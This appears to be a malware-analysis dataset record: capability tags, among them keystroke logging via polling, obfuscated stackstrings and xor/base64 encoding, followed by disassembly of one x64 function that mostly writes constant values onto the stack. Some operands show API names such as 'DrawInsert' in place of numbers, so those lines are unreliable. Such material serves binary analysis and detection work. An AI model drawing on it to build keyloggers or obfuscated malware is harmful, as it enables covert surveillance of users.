Function at 0x140005690
Capabilities:
Authenticate hmac
Check for unexpected memory writes
Check http status code
Contain obfuscated stackstrings
Decompress data using quicklz
Encode data using base64
Encode data using xor
Extract resource via kernel32 functions
Get file size
Get keyboard layout
Get system information on windows
Hash data using fnv
Log keystrokes via polling
Parse pe header

Disassembly:
mov dword [rsp + 0x20], r9d
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rsi
push rdi
mov eax, 0x4a9c8
call fcn.1403118d0
sub rsp, rax
mov byte [rsp + 0x50], 0x81
mov dword [rsp + 0x6280], 0x418eaf7f
mov dword [rsp + 0x6284], 0x6c3b0e79
mov dword [rsp + 0x6288], 0x51eb
mov dword [rsp + 0x628c], 0x559771bd
mov byte [rsp + 0x51], 0x2d
mov byte [rsp + 0x52], 0xd0
mov dword [rsp + 0x6290], 0x31de34d2
mov byte [rsp + 0x53], 0xfd
mov byte [rsp + 0x54], 0x1e
mov eax, 0x50a
mov word [rsp + 0xfd0], ax
mov byte [rsp + 0x55], 0x9f
mov dword [rsp + 0x6294], 0xcb34
mov dword [rsp + 0x6298], 0x714a6222
mov dword [rsp + 0x629c], 0x12e2492a
mov dword [rsp + 0x62a0], 0x31c2
mov dword [rsp + 0x62a4], 0x9533
mov dword [rsp + 0x62a8], 0xec05
mov eax, 0x56d
mov word [rsp + 0xfd4], ax
mov eax, 0xf65
mov word [rsp + 0xfd8], ax
mov dword [rsp + 0x62ac], 0x72b890e0
mov dword [rsp + 0x62b0], 0x8692
mov dword [rsp + 0x62b4], 0x377696c
mov byte [rsp + 0x56], 0xa
mov dword [rsp + 0x62b8], 0x68c8ce81
mov dword [rsp + 0x62bc], 0x16f67276
mov byte [rsp + 0x57], 0x61
mov dword [rsp + 0x62c0], 0xa9c7
mov dword [rsp + 0x62c4], 0xc4a7
mov dword [rsp + 0x62c8], 0x16aa83a8
mov eax, 0x1d6
mov word [rsp + 0xfdc], ax
mov dword [rsp + 0x62cc], 0x7b736b53
mov eax, 0x94e
mov word [rsp + 0xfe0], ax
mov dword [rsp + 0x62d0], 0x6ec3578
mov dword [rsp + 0x62d4], 0x5d4729fa
mov dword [rsp + 0x62d8], 0x5ffe37a1
mov dword [rsp + 0x62dc], 0x4e1f5c66
mov byte [rsp + 0x58], 0x87
mov dword [rsp + 0x62e0], 0x3946c4fb
mov eax, 0x5c9
mov word [rsp + 0xfe4], ax
mov dword [rsp + 0x62e4], 0x533e026f
mov eax, 0xad8
mov word [rsp + 0xfe8], ax
mov dword [rsp + 0x62e8], 0x21045593
mov byte [rsp + 0x59], 0x79
mov eax, 0x20
mov word [rsp + 0xfec], ax
mov dword [rsp + 0x62ec], 0x5caa5a54
mov eax, 0x68f
mov word [rsp + 0xff0], ax
mov dword [rsp + 0x62f0], 0xb4e0
mov byte [rsp + 0x5a], 0x63
mov dword [rsp + 0x62f4], 0xf015
mov dword [rsp + 0x62f8], 0x53488e4
mov byte [rsp + 0x5b], DrawInsert
mov eax, 0xec3
mov word [rsp + 0xff4], ax
mov dword [rsp + 0x62fc], 0x133f535a
mov dword [rsp + 0x6300], 0x577353ad
mov dword [rsp + 0x6304], 0xd419
mov dword [rsp + 0x6308], 0x7096b19
mov dword [rsp + 0x630c], 0x2fef68a6
mov eax, 0x27
mov word [rsp + 0xff8], ax
mov eax, 0x5b0
mov word [rsp + 0xffc], ax
mov dword [rsp + 0x6310], 0x5ad5f76e
mov dword [rsp + 0x6314], 0x5ea
mov dword [rsp + 0x6318], 0xfe52
mov dword [rsp + 0x631c], 0x3cbbddde
mov eax, 0x1d5
mov word [rsp + 0x1000], ax
mov dword [rsp + 0x6320], 0xf8cb
mov dword [rsp + 0x6324], 0x9c9ca29
mov eax, 0x627
mov word [rsp + 0x1004], ax
mov byte [rsp + 0x5c], 0xac
mov dword [rsp + 0x6328], 0x14123f1f
mov dword [rsp + 0x632c], 0x3242b8ad
mov eax, 0x775
mov word [rsp + 0x1008], ax
mov eax, 0x829
mov word [rsp + 0x100c], ax
mov dword [rsp + 0x6330], 0x3c06
mov dword [rsp + 0x6334], 0x1e11d912
mov byte [rsp + 0x5d], 0x28
mov byte [rsp + 0x5e], 0xe9
mov byte [rsp + 0x5f], 0x3b
mov dword [rsp + 0x6338], 0xb9d0
mov dword [rsp + 0x633c], 0x36b56911
mov byte [rsp + 0x60], 0xe6
mov dword [rsp + 0x6340], 0x6887d525
mov dword [rsp + 0x6344], 0x6224
mov dword [rsp + 0x6348], 0x764259d3
mov dword [rsp + 0x634c], 0x6fa3dc8
mov dword [rsp + 0x6350], 0xaab9
mov eax, 0x56d
mov word [rsp + 0x1010], ax
mov byte [rsp + 0x61], 0xa
mov byte [rsp + 0x62], 0xdd
mov eax, 0x571
mov word [rsp + 0x1014], ax
mov eax, 0x3d5
mov word [rsp + 0x1018], ax
mov dword [rsp + 0x6354], 0xf36c6a9
mov dword [rsp + 0x6358], 0x1d3d75c
mov dword [rsp + 0x635c], 0xa5d8436
mov eax, 0x300
mov word [rsp + 0x101c], ax
mov dword [rsp + 0x6360], 0xc0f100b
mov dword [rsp + 0x6364], 0xbe4f
mov dword [rsp + 0x6368], 0x693cb7f3
mov dword [rsp + 0x636c], 0x7f673930
mov dword [rsp + 0x6370], 0x871e
mov dword [rsp + 0x6374], 0x40ebcf86
mov byte [rsp + 0x63], 0x5a
mov dword [rsp + 0x6378], 0xfca8
mov byte [rsp + 0x64], 6
mov byte [rsp + 0x65], 0x27
mov byte [rsp + 0x66], 0x56
mov dword [rsp + 0x637c], 0x8751
mov dword [rsp + 0x6380], 0x3dcac577
mov dword [rsp + 0x6384], 0x32e6945d
mov dword [rsp + 0x6388], 0x7bb3
mov dword [rsp + 0x638c], 0x584db184
mov byte [rsp + 0x67], 0x50
mov dword [rsp + 0x6390], 0x32cd5fe6
mov byte [rsp + 0x68], 0x52
mov dword [rsp + 0x6394], 0x609f0874
mov byte [rsp + 0x69], 0xe5
mov byte [rsp + 0x6a], 0x69
mov dword [rsp + 0x6398], 0x1bc1
mov dword [rsp + 0x639c], 0x12df
mov dword [rsp + 0x63a0], 0x14ac3e85
mov byte [rsp + 0x6b], 0x1e
mov dword [rsp + 0x63a4], 0x18bb686d
mov dword [rsp + 0x63a8], 0x2e551eb2
mov dword [rsp + 0x63ac], 0x60e7833b
mov dword [rsp + 0x63b0], 0x39da349a
mov dword [rsp + 0x63b4], 0xa09ad0
mov dword [rsp + 0x63b8], 0x4cf32d1c
mov eax, 0xb7d
mov word [rsp + 0x1020], ax
mov eax, 0x3bd
mov word [rsp + 0x1024], ax
mov dword [rsp + 0x63bc], 0x2053
mov dword [rsp + 0x63c0], 0x8a68
mov eax, 0x40
mov word [rsp + 0x1028], ax
mov dword [rsp + 0x63c4], 0xd59a
mov eax, 0x201
mov word [rsp + 0x102c], ax
mov dword [rsp + 0x63c8], 0x45e2458e
mov dword [rsp + 0x63cc], 0x5a9c
mov byte [rsp + 0x6c], 0xc4
mov dword [rsp + 0x63d0], 0x18833d46
mov dword [rsp + 0x63d4], 0x50b1
mov dword [rsp + 0x63d8], 0x7f0e73bd
mov dword [rsp + 0x63dc], 0x675e5065
mov eax, 0xfa9
mov word [rsp + 0x1030], ax
mov dword [rsp + 0x63e0], 0xda94
mov dword [rsp + 0x63e4], 0xa3ad
mov dword [rsp + 0x63e8], 0x6e4e2b6d
mov dword [rsp + 0x63ec], 0x7537821c
mov dword [rsp + 0x63f0], 0x45543507
mov dword [rsp + 0x63f4], 0x4fca3fb2
mov dword [rsp + 0x63f8], 0x1286ad96
mov dword [rsp + 0x63fc], 0x553761e8
mov dword [rsp + 0x6400], 0x4c08
mov dword [rsp + 0x6404], 0x5a382702
mov eax, 0x961
mov word [rsp + 0x1034], ax
mov byte [rsp + 0x6d], 0xed
mov byte [rsp + 0x6e], 0xcd
mov dword [rsp + 0x6408], 0x607afb7c
mov dword [rsp + 0x640c], 0x717d4f7
mov dword [rsp + 0x6410], 0x5a546421
mov dword [rsp + 0x6414], 0x7a66b43b
mov dword [rsp + 0x6418], 0xff68
mov dword [rsp + 0x641c], 0x7cca
mov byte [rsp + 0x6f], 0x84
mov eax, 0x3a2
mov word [rsp + 0x1038], ax
mov byte [rsp + 0x70], 0x4a
mov dword [rsp + 0x6420], 0x885a
mov dword [rsp + 0x6424], 0xb022572
mov byte [rsp + 0x71], 0xa4
mov byte [rsp + 0x72], 0x29
mov eax, 0x26
mov word [rsp + 0x103c], ax
mov dword [rsp + 0x6428], 0x558d811
mov eax, 0x289
mov word [rsp + 0x1040], ax
mov dword [rsp + 0x642c], 0x4637f42f
mov byte [rsp + 0x73], 0x1f
mov dword [rsp + 0x6430], 0x886a
mov dword [rsp + 0x6434], 0x69b0119d
mov byte [rsp + 0x74], 0x1f
mov byte [rsp + 0x75], 0xed
mov dword [rsp + 0x6438], 0x757e84e7
mov eax, 0x3c0
mov word [rsp + 0x1044], ax
mov dword [rsp + 0x643c], 0x5dfb
mov dword [rsp + 0x6440], 0x5585f901
mov dword [rsp + 0x6444], 0x2097fddc
mov dword [rsp + 0x6448], 0x652e
mov byte [rsp + 0x76], 0x40
mov byte [rsp + 0x77], 0xa7
mov dword [rsp + 0x644c], 0x57ab
mov dword [rsp + 0x6450], 0x7fc3
mov dword [rsp + 0x6454], 0x5dfa
mov byte [rsp + 0x78], 0x77
mov dword [rsp + 0x6458], 0x4481bf86
mov eax, 0x1b7
mov word [rsp + 0x1048], ax
mov dword [rsp + 0x645c], 0x638d184f
mov dword [rsp + 0x6460], 0xdfdefa
mov byte [rsp + 0x79], 0x26
mov dword [rsp + 0x6464], 0x2f6fb9fa
mov dword [rsp + 0x6468], 0x5dbcbc52
mov dword [rsp + 0x646c], 0x4bc1715c
mov dword [rsp + 0x6470], 0x56d738b5
mov eax, 0x54a
mov word [rsp + 0x104c], ax
mov dword [rsp + 0x6474], 0x43fa
mov eax, 0x2fa
mov word [rsp + 0x1050], ax
mov dword [rsp + 0x6478], 0x493ea763
mov eax, 0x536
mov word [rsp + 0x1054], ax
mov eax, 0x27e
mov word [rsp + 0x1058], ax
mov byte [rsp + 0x7a], 0xb7
mov byte [rsp + 0x7b], 0x30
mov dword [rsp + 0x647c], 0x471
mov dword [rsp + 0x6480], 0x59aacc4c
mov eax, 0x41c
mov word [rsp + 0x105c], ax
mov byte [rsp + 0x7c], 0x59
mov dword [rsp + 0x6484], 0x64d8
mov dword [rsp + 0x6488], 0x20e9fd12
mov byte [rsp + 0x7d], 0xf0
mov dword [rsp + 0x648c], 0x65c
mov dword [rsp + 0x6490], 0x3abdd572
mov eax, 0xb80
mov word [rsp + 0x1060], ax
mov dword [rsp + 0x6494], 0xbab1
mov eax, RemoveWindowSubclass
mov word [rsp + 0x1064], ax
mov byte [rsp + 0x7e], 3
mov byte [rsp + 0x7f], 0x65
mov dword [rsp + 0x6498], 0x85ac
mov eax, 0x83c
mov word [rsp + 0x1068], ax
mov dword [rsp + 0x649c], 0x5d83
mov eax, 0x4ac
mov word [rsp + 0x106c], ax
mov dword [rsp + 0x64a0], 0x1ddce19e
mov dword [rsp + 0x64a4], 0x7a975834
mov eax, 0x815
mov word [rsp + 0x1070], ax
mov dword [rsp + 0x64a8], 0x7471ec59
mov dword [rsp + 0x64ac], 0xeb8b
mov byte [rsp + 0x80], 0x27
mov byte [rsp + 0x81], 0x1a
mov dword [rsp + 0x64b0], 0x70f1
mov eax, 0x2a0
mov word [rsp + 0x1074], ax
mov dword [rsp + 0x64b4], 0xb8d2560
mov byte [rsp + 0x82], 0x7a
mov dword [rsp + 0x64b8], 0x517e9c8
mov dword [rsp + 0x64bc], 0x1ab30afb
mov dword [rsp + 0x64c0], 0xbc48
mov dword [rsp + 0x64c4], 0x55dc9a60
mov byte [rsp + 0x83], 0xe4
mov dword [rsp + 0x64c8], 0x3c332a36
mov eax, 0xf14
mov word [rsp + 0x1078], ax
mov dword [rsp + 0x64cc], 0x67fe9e1e
mov byte [rsp + 0x84], 0x7e
mov dword [rsp + 0x64d0], 0x45f4
mov eax, 0xddc
mov word [rsp + 0x107c], ax
mov dword [rsp + 0x64d4], 0xb86b
mov dword [rsp + 0x64d8], 0x7cf63832
mov eax, 0x268
mov word [rsp + 0x1080], ax
mov byte [rsp + 0x85], 0x61
mov byte [rsp + 0x86], 0x3c
mov eax, 0x5e
mov word [rsp + 0x1084], ax
mov eax, 0x633
mov word [rsp + 0x1088], ax
mov dword [rsp + 0x64dc], 0x7bf7
mov eax, 0x6ba
mov word [rsp + 0x108c], ax
mov byte [rsp + 0x87], 2
mov byte [rsp + 0x88], 0x9a
mov dword [rsp + 0x64e0], 0x14a5
mov dword [rsp + 0x64e4], 0x50cb5600
mov dword [rsp + 0x64e8], 0x1deb8c2c
mov byte [rsp + 0x89], 0x21
mov dword [rsp + 0x64ec], 0x42e41e70
mov byte [rsp + 0x8a], 0xd0
mov dword [rsp + 0x64f0], 0x713e
mov dword [rsp + 0x64f4], 0x42fe9213
mov dword [rsp + 0x64f8], 0x727f313c
mov byte [rsp + 0x8b], 0x69
mov dword [rsp + 0x64fc], 0x525b
mov dword [rsp + 0x6500], 0x31a1ca04
mov eax, 0x425
mov word [rsp + 0x1090], ax
mov eax, 0x699
mov word [rsp + 0x1094], ax
mov dword [rsp + 0x6504], 0xd674138
mov eax, 0x165
mov word [rsp + 0x1098], ax
mov byte [rsp + 0x8c], 0x32
mov byte [rsp + 0x8d], 0x53
mov eax, 0x1d7
mov word [rsp + 0x109c], ax
mov eax, 0x1de
mov word [rsp + 0x10a0], ax
mov byte [rsp + 0x8e], 0x36
mov dword [rsp + 0x6508], 0xdadf
mov dword [rsp + 0x650c], 0x48ddea90
mov eax, 0x174
mov word [rsp + 0x10a4], ax
mov byte [rsp + 0x8f], 0x52
mov dword [rsp + 0x6510], 0x121225ce
mov eax, 0x8a1
mov word [rsp + 0x10a8], ax
mov eax, 0x9df
mov word [rsp + 0x10ac], ax
mov eax, 0x111
mov word [rsp + 0x10b0], ax
mov dword [rsp + 0x6514], 0x369e3cb9
mov byte [rsp + 0x90], 0xeb
mov eax, 0x425
mov word [rsp + 0x10b4], ax
mov eax, DrawInsert
mov word [rsp + 0x10b8], ax
mov dword [rsp + 0x6518], 0x333e
mov eax, 0x448
mov word [rsp + 0x10bc], ax
mov dword [rsp + 0x651c], 0x5efd62fb
mov dword [rsp + 0x6520], 0x458d8e4
mov dword [rsp + 0x6524], 0x6fa9f432
mov dword [rsp + 0x6528], 0x57cdb2f
mov dword [rsp + 0x652c], 0xe7ba
mov dword [rsp + 0x6530], 0xa80b992
mov dword [rsp + 0x6534], 0x3ea3
mov dword [rsp + 0x6538], 0xef22
mov dword [rsp + 0x653c], 0xfcd9
mov eax, 0x17c
mov word [rsp + 0x10c0], ax
mov byte [rsp + 0x91], 0x1b
mov eax, 0xa81
mov word [rsp + 0x10c4], ax
mov dword [rsp + 0x6540], 0x419ce
mov dword [rsp + 0x6544], 0x8f9c
mov eax, 0x901
mov word [rsp + 0x10c8], ax
mov dword [rsp + 0x6548], 0xbc7e
mov byte [rsp + 0x92], 6
mov dword [rsp + 0x654c], 0x706c1baa
mov dword [rsp + 0x6550], 0x549a0082
mov dword [rsp + 0x6554], 0x58029239
mov dword [rsp + 0x6558], 0x6c271ced
mov dword [rsp + 0x655c], 0x7ae22dcb
mov dword [rsp + 0x6560], 0x47aa736d
mov eax, 0x361
mov word [rsp + 0x10cc], ax
mov eax, 0x2c6
mov word [rsp + 0x10d0], ax
mov dword [rsp + 0x6564], 0xda8
mov byte [rsp + 0x93], 0x8c
mov dword [rsp + 0x6568], 0xedcb
mov dword [rsp + 0x656c], 0x3fd10a64
mov eax, 0x266
mov word [rsp + 0x10d4], ax
mov eax, 0x1d
mov word [rsp + 0x10d8], ax
mov dword [rsp + 0x6570], 0x5d7517de
mov byte [rsp + 0x94], 0x2f
mov dword [rsp + 0x6574], 0xe629
mov dword [rsp + 0x6578], 0x507d
mov eax, 0x2b
mov word [rsp + 0x10dc], ax
mov eax, 0x630
mov word [rsp + 0x10e0], ax
mov eax, 0x59b
mov word [rsp + 0x10e4], ax
mov dword [rsp + 0x657c], 0x2f931aaf
mov dword [rsp + 0x6580], 0xa7d4b5
mov dword [rsp + 0x6584], 0x2793550d
mov dword [rsp + 0x6588], 0xa82a
mov eax, 0x79f
mov word [rsp + 0x10e8], ax
mov dword [rsp + 0x658c], 0x7decc14c
mov dword [rsp + 0x6590], 0x27a532d5
mov byte [rsp + 0x95], 0xb8
mov byte [rsp + 0x96], 0xd1
mov dword [rsp + 0x6594], 0x2788d2a4
mov dword [rsp + 0x6598], 0xe469
mov dword [rsp + 0x659c], 0x41716d26
mov dword [rsp + 0x65a0], 0x79b
mov byte [rsp + 0x97], 0x63
mov dword [rsp + 0x65a4], 0x7d815b83
mov byte [rsp + 0x98], 0x37
mov eax, 0xab5
mov word [rsp + 0x10ec], ax
mov eax, 0x92f
mov word [rsp + 0x10f0], ax
mov eax, 0xba6
mov word [rsp + 0x10f4], ax
mov eax, 0x6b2
mov word [rsp + 0x10f8], ax
mov byte [rsp + 0x99], 0x87
mov byte [rsp + 0x9a], 0x74
mov dword [rsp + 0x65a8], 0x6f852b80
mov dword [rsp + 0x65ac], 0x3e1c88d5
mov eax, 0x442
mov word [rsp + 0x10fc], ax
mov dword [rsp + 0x65b0], 0x34df
mov dword [rsp + 0x65b4], 0x72cc
mov dword [rsp + 0x65b8], 0xff82
mov byte [rsp + 0x9b], 0x3b
mov dword [rsp + 0x65bc], 0x52dea395
mov dword [rsp + 0x65c0], 0x281e
mov dword [rsp + 0x65c4], 0x8859847
mov dword [rsp + 0x65c8], 0x46fe
mov dword [rsp + 0x65cc], 0x1cb0
mov dword [rsp + 0x65d0], 0x623e
mov dword [rsp + 0x65d4], 0x31f2b873
mov byte [rsp + 0x9c], 1
mov byte [rsp + 0x9d], 0xb4
mov dword [rsp + 0x65d8], 0x97252ee
mov dword [rsp + 0x65dc], 0x17d8
mov dword [rsp + 0x65e0], 0x75341a5e
mov byte [rsp + 0x9e], 0x1c
mov dword [rsp + 0x65e4], 0xa2e2
mov eax, 0xa12
mov word [rsp + 0x1100], ax
mov eax, 0xf17
mov word [rsp + 0x1104], ax
mov byte [rsp + 0x9f], 0x53
mov byte [rsp + 0xa0], 0xfd
mov dword [rsp + 0x65e8], 0x59d707c
mov dword [rsp + 0x65ec], 0xb5e8
mov dword [rsp + 0x65f0], 0x697e82e5
mov dword [rsp + 0x65f4], 0x583e2fcc
mov dword [rsp + 0x65f8], 0xb6d9582
mov dword [rsp + 0x65fc], 0x1167241a
mov eax, 0x200
mov word [rsp + 0x1108], ax
mov dword [rsp + 0x6600], 0x7cfac22
mov dword [rsp + 0x6604], 0x4559
mov byte [rsp + 0xa1], 0x93
mov byte [rsp + 0xa2], 0x67
mov byte [rsp + 0xa3], 0x46
mov byte [rsp + 0xa4], 0x2f
mov eax, 0x709
mov word [rsp + 0x110c], ax
mov eax, 0x977
mov word [rsp + 0x1110], ax
mov dword [rsp + 0x6608], 0x7a56506
mov eax, 0x2c5
mov word [rsp + 0x1114], ax
mov dword [rsp + 0x660c], 0x9d56686
mov dword [rsp + 0x6610], 0x3e328efc
mov dword [rsp + 0x6614], 0x536c
mov dword [rsp + 0x6618], 0x3499
mov byte [rsp + 0xa5], 0xdd
mov dword [rsp + 0x661c], 0xb56a
mov dword [rsp + 0x6620], 0x340b8208
mov eax, 0xa81
mov word [rsp + 0x1118], ax
mov dword [rsp + 0x6624], 0x1f5431f9
mov dword [rsp + 0x6628], 0xdcf4
mov byte [rsp + 0xa6], 0xa1
mov dword [rsp + 0x662c], 0x3d0711c1
mov eax, 0x48b
mov word [rsp + 0x111c], ax
mov dword [rsp + 0x6630], 0x8de9
mov dword [rsp + 0x6634], 0xce25925
mov dword [rsp + 0x6638], 0x30bcd936
mov dword [rsp + 0x663c], 0x91a9
mov eax, 0x51a
mov word [rsp + 0x1120], ax
mov eax, 0xd17
mov word [rsp + 0x1124], ax
mov eax, 0xdd1
mov word [rsp + 0x1128], ax
mov byte [rsp + 0xa7], 0x7d
mov dword [rsp + 0x6640], 0x9f42
mov dword [rsp + 0x6644], 0x5f42d7d4
mov dword [rsp + 0x6648], 0x5b830bb3
mov eax, 0xd4a
mov word [rsp + 0x112c], ax
mov byte [rsp + 0xa8], 3
mov dword [rsp + 0x664c], 0x7be0
mov dword [rsp + 0x6650], 0x106a8fad
mov eax, 0x60a
mov word [rsp + 0x1130], ax
mov dword [rsp + 0x6654], 0x178a2df7
mov dword [rsp + 0x6658], 0x65325766
mov dword [rsp + 0x665c], 0xe72
mov eax, 0x51d
mov word [rsp + 0x1134], ax
mov dword [rsp + 0x6660], 0x42d13349
mov dword [rsp + 0x6664], 0x48ce54ea
mov byte [rsp + 0xa9], 0xf9
mov dword [rsp + 0x6668], 0x7452390f
mov dword [rsp + 0x666c], 0x63215e40
mov eax, 0x228
mov word [rsp + 0x1138], ax
mov dword [rsp + 0x6670], 0x5925854b
mov eax, 0xc51
mov word [rsp + 0x113c], ax
mov dword [rsp + 0x6674], 0xe123
mov dword [rsp + 0x6678], 0xd6af
mov dword [rsp + 0x667c], 0x3e5b8aa0
mov eax, 0x9ea
mov word [rsp + 0x1140], ax
mov dword [rsp + 0x6680], 0x72b0e38e
mov eax, 0x1f3
mov word [rsp + 0x1144], ax
mov dword [rsp + 0x6684], 0xc6b7
mov byte [rsp + 0xaa], 0x17
mov eax, 0xe72
mov word [rsp + 0x1148], ax
mov dword [rsp + 0x6688], 0x9ffddb5
mov byte [rsp + 0xab], 0x62
mov dword [rsp + 0x668c], 0x59c49d98
mov byte [rsp + 0xac], 0x1e
mov byte [rsp + 0xad], 0x98
mov byte [rsp + 0xae], 0x42
mov dword [rsp + 0x6690], 0xdf49
mov dword [rsp + 0x6694], 0x8f26
mov dword [rsp + 0x6698], 0x16fe
mov dword [rsp + 0x669c], 0x24488b1b
mov dword [rsp + 0x66a0], 0xdd14
mov dword [rsp + 0x66a4], 0x39872a25
mov dword [rsp + 0x66a8], 0x662f3ad0
mov byte [rsp + 0xaf], 0xd2
mov eax, 0xb4
mov word [rsp + 0x114c], ax
mov eax, 0x71a
mov word [rsp + 0x1150], ax
mov byte [rsp + 0xb0], 0x40
mov dword [rsp + 0x66ac], 0x715eb32e
mov dword [rsp + 0x66b0], 0xa2a
mov eax, 0x3e3
mov word [rsp + 0x1154], ax
mov dword [rsp + 0x66b4], 0x6eb5d6ca
mov dword [rsp + 0x66b8], 0x7a462a6e
mov byte [rsp + 0xb1], 0xd1
mov dword [rsp + 0x66bc], 0x6114
mov eax, 0xba9
mov word [rsp + 0x1158], ax
mov dword [rsp + 0x66c0], 0x5491
mov eax, 0x2b2
mov word [rsp + 0x115c], ax
mov dword [rsp + 0x66c4], 0xa920
mov byte [rsp + 0xb2], 0xc3
mov dword [rsp + 0x66c8], 0x2d8cccb7
mov dword [rsp + 0x66cc], 0xf20e
mov byte [rsp + 0xb3], 0xbf
mov byte [rsp + 0xb4], 0x1d
mov eax, 0x575
mov word [rsp + 0x1160], ax
mov eax, 0xb1f
mov word [rsp + 0x1164], ax
mov eax, 0x13a
mov word [rsp + 0x1168], ax
mov byte [rsp + 0xb5], 0x29
mov dword [rsp + 0x66d0], 0x4f467083
mov eax, 0x336
mov word [rsp + 0x116c], ax
mov eax, 0x4e6
mov word [rsp + 0x1170], ax
mov dword [rsp + 0x66d4], 0x701
mov eax, 0x78a
mov word [rsp + 0x1174], ax
mov dword [rsp + 0x66d8], 0x6ea550ca
mov dword [rsp + 0x66dc], 0x63e0dfcd
mov dword [rsp + 0x66e0], 0x2dcde9fe
mov dword [rsp + 0x66e4], 0xd09
mov dword [rsp + 0x66e8], 0x4f26811f
mov byte [rsp + DrawInsert6], 0xb
mov dword [rsp + 0x66ec], 0x7ac7c234
mov eax, 0x83e
mov word [rsp + 0x1178], ax
mov dword [rsp + 0x66f0], 0xc56b
mov eax, 0x329
mov word [rsp + 0x117c], ax
mov dword [rsp + 0x66f4], 0x80340d9
mov eax, 0x3d1
mov word [rsp + 0x1180], ax
mov dword [rsp + 0x66f8], 0x1d633b83
mov dword [rsp + 0x66fc], 0x32d329ea
mov dword [rsp + 0x6700], 0xc2f0
mov dword [rsp + 0x6704], 0x3c21
mov byte [rsp + 0xb7], 0x7c
mov dword [rsp + 0x6708], 0xdc0f
mov dword [rsp + 0x670c], 0x2e28
mov eax, 0xaa1
mov word [rsp + 0x1184], ax
mov dword [rsp + 0x6710], 0x2af4
mov dword [rsp + 0x6714], 0x3beca58f
mov byte [rsp + 0xb8], 0x87
mov eax, 6
mov word [rsp + 0x1188], ax
mov eax, 0xb35
mov word [rsp + 0x118c], ax
mov eax, 0xf5
mov word [rsp + 0x1190], ax
mov dword [rsp + 0x6718], 0xdfe4
mov eax, 0x7d3
mov word [rsp + 0x1194], ax
mov dword [rsp + 0x671c], 0x625f07e6
mov dword [rsp + 0x6720], 0x6be5
mov dword [rsp + 0x6724], 0x4a17c968
mov dword [rsp + 0x6728], 0x7633
mov dword [rsp + 0x672c], 0x7eb00e53
mov dword [rsp + 0x6730], 0x35dd2f59
mov dword [rsp + 0x6734], 0x6c6e7e04
mov dword [rsp + 0x6738], 0xd840a97
mov eax, 0x1cc
mov word [rsp + 0x1198], ax
mov eax, 0x336
mov word [rsp + 0x119c], ax
mov dword [rsp + 0x673c], 0xbb8d
mov dword [rsp + 0x6740], 0x3e2febf7
mov byte [rsp + 0xb9], 2
mov dword [rsp + 0x6744], 0xa99c312
mov dword [rsp + 0x6748], 0x816
mov dword [rsp + 0x674c], 0x177b092e
mov dword [rsp + 0x6750], 0x79016414
mov dword [rsp + 0x6754], 0x81e5
mov byte [rsp + 0xba], 0x5c
mov eax, 0x34
mov word [rsp + 0x11a0], ax
mov eax, 0xb07
mov word [rsp + 0x11a4], ax
mov eax, 0x364
mov word [rsp + 0x11a8], ax
mov byte [rsp + 0xbb], 0x6a
mov dword [rsp + 0x6758], 0x45c57339
mov dword [rsp + 0x675c], 0x329d3965
mov dword [rsp + 0x6760], 0xaaed
mov dword [rsp + 0x6764], 0x2c6917c2
mov eax, 0x401
mov word [rsp + 0x11ac], ax
mov byte [rsp + 0xbc], 0xed
mov byte [rsp + 0xbd], 0x7c
mov dword [rsp + 0x6768], 0x1f6
mov eax, 0x1e2
mov word [rsp + 0x11b0], ax
mov eax, 0x13b
mov word [rsp + 0x11b4], ax
mov dword [rsp + 0x676c], 0xfe51
mov eax, 0xff2
mov word [rsp + 0x11b8], ax
mov eax, 0x2ea
mov word [rsp + 0x11bc], ax
mov dword [rsp + 0x6770], 0x5022d0d5
mov dword [rsp + 0x6774], 0x979e
mov dword [rsp + 0x6778], 0x5cff2e87
mov eax, 0xf9
mov word [rsp + 0x11c0], ax
mov dword [rsp + 0x677c], 0xc3e6
mov dword [rsp + 0x6780], 0x800d56e
mov dword [rsp + 0x6784], 0x82239b2
mov dword [rsp + 0x6788], 0x6a42b126
mov eax, 0xe5e
mov word [rsp + 0x11c4], ax
mov dword [rsp + 0x678c], 0x62be
mov dword [rsp + 0x6790], 0x45c0e87f
mov eax, 0xcb
mov word [rsp + 0x11c8], ax
mov dword [rsp + 0x6794], 0x35d7ed80
mov dword [rsp + 0x6798], 0xd8d8
mov dword [rsp + 0x679c], 0xd8e6
mov dword [rsp + 0x67a0], 0x511a8be1
mov dword [rsp + 0x67a4], 0xe9ba
mov eax, 0x32f
mov word [rsp + 0x11cc], ax
mov eax, 0x16c
mov word [rsp + 0x11d0], ax
mov byte [rsp + 0xbe], 0xf1
mov dword [rsp + 0x67a8], 0x20ab30ea
mov eax, 0xb41
mov word [rsp + 0x11d4], ax
mov byte [rsp + 0xbf], 0x23
mov dword [rsp + 0x67ac], 0xf5f7
mov eax, 0x23d
mov word [rsp + 0x11d8], ax
mov byte [rsp + 0xc0], 0xe7
mov dword [rsp + 0x67b0], 0x5b6c0d50
mov byte [rsp + 0xc1], 6
mov dword [rsp + 0x67b4], 0x8004
mov dword [rsp + 0x67b8], 0x4aa63c51
mov dword [rsp + 0x67bc], 0x25909a2f
mov byte [rsp + 0xc2], 0x3e
mov dword [rsp + 0x67c0], 0x35d5
mov dword [rsp + 0x67c4], 0x27fc9be2
mov eax, 0x769
mov word [rsp + 0x11dc], ax
mov eax, 0xbc0
mov word [rsp + 0x11e0], ax
mov byte [rsp + 0xc3], 0xfe
mov dword [rsp + 0x67c8], 0xe64b
mov byte [rsp + 0xc4], 0x65
mov byte [rsp + 0xc5], 0xf3
mov dword [rsp + 0x67cc], 0x77e7
mov dword [rsp + 0x67d0], 0xd7b8
mov dword [rsp + 0x67d4], 0x2a94
mov dword [rsp + 0x67d8], 0xf2a9
mov byte [rsp + 0xc6], 0x63
mov dword [rsp + 0x67dc], 0x9f9b
mov byte [rsp + 0xc7], 0x27
mov byte [rsp + 0xc8], 0x48
mov eax, 0xc7d
mov word [rsp + 0x11e4], ax
mov dword [rsp + 0x67e0], 0x6b6e
mov byte [rsp + 0xc9], 0x24
mov dword [rsp + 0x67e4], 0x497f9d12
mov dword [rsp + 0x67e8], 0x602d3459
mov dword [rsp + 0x67ec], 0x13fd4b7a
mov eax, 0xa95
mov word [rsp + 0x11e8], ax
mov dword [rsp + 0x67f0], 0x4b02
mov dword [rsp + 0x67f4], 0xd1ee
mov dword [rsp + 0x67f8], 0x4325eba8
mov dword [rsp + 0x67fc], 0xd92d
mov eax, 0x5de
mov word [rsp + 0x11ec], ax
mov dword [rsp + 0x6800], 0x500ddc57
mov byte [rsp + 0xca], 0x8f
mov eax, 0x39d
mov word [rsp + 0x11f0], ax
mov byte [rsp + 0xcb], 0x7c
